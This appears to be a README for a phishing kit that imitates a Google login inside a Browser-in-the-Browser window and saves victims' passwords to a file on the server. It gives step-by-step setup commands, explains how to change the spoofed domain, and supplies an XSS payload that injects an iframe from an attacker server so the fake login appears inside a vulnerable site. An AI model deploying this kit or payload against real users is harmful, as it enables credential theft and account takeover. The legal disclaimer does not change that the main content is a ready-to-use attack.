This repo contains a fake two-part Google Login implemented within a Browser-In-The-Browser attack window. It can be used on a web server that supports PHP files. Any entered credentials are saved in /opt/GoogleBITB/creds.txt. The Domain Suffix can be changed from @client.com to any site of your choosing (to do this, just edit line 21 of login_page.html). Follow steps below for a quick and easy setup.
Legal Disclaimer: Usage of this repo for attacking targets without prior consent is illegal. It is the end user's responsiblity to obey applicable local, state and federal laws. Developer assumes no liability for any misuse or damage caused by this repo.
Run the below commands in the /var/www/html folder of your web server.
git clone https://github.com/jakedmurphy1/GoogleBITB.git
cd GoogleBITB
chmod 666 creds.txt
Move the credentials file into a non-public folder:
mkdir /opt/GoogleBITB && mv creds.txt /opt/GoogleBITB/creds.txt
Then visit /GoogleBITB/index.html in your browser and give it a try! Any gathered credentials will be stored in /opt/GoogleBITB/creds.txt
You can use this repo to steal credentials through a XSS attack. Just set it up and use the following XSS payload:
"><iframe style='border:none;width:100%;height:100%' scrolling='no' src='https://[ATTACKER_SERVER]/GoogleBITB/index.html'/>
Be sure to have HTTPS on your server or the iframe will not render.
This payload will create a frame within frame (inception) prompting the user to sign in from what appears to be the vulnerable application.